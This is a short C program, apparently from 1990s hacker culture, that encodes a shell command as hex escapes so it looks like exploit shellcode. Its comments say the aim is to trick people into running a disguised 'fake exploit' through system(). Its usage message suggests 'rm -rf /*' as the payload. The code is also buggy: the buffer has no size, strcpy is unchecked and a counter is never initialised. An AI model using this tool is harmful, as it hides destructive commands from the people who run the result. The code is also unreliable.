/* Fake shellcode generator, ala apache.c (Could be useful, really it could) */
/* Something like this... char shellcode[] = "\1231\123\123"; */
/* system(shellcode); BUT GET ORIGINAL!  They'll only fall for it so many */
/* times... */
/* neeko, neeko@mc2.nu */
/* Check out www.mc2.nu - props to crakrjak for my space on mc2.nu */

#include <stdio.h>
#include <stdlib.h>

/* Maximum characters encoded per line (default 10) */
#define MAXCHAR 10

char zap[];

int main (int argc, char **argv)
{

  int i, z;

  if (argv[1] == NULL)
    {
      fprintf (stderr, "ERROR, NO ARGV1!\n");
      fprintf (stderr, "Try something like... %s \"rm -rf /*\"", argv[0]);
      return -1;
    }

  strcpy (zap, argv[1]);
  printf ("char shellcode[] = \\ \n\t\"");
  for (i = 0; i < strlen (zap); i++)
    {
      z++;
      if (z > MAXCHAR)
	{
	  printf ("\"\n\t\"");
	  z = 0;
	}
      printf ("\\x%x", zap[i]);
    }
  printf ("\";\n");
  return 0;
}

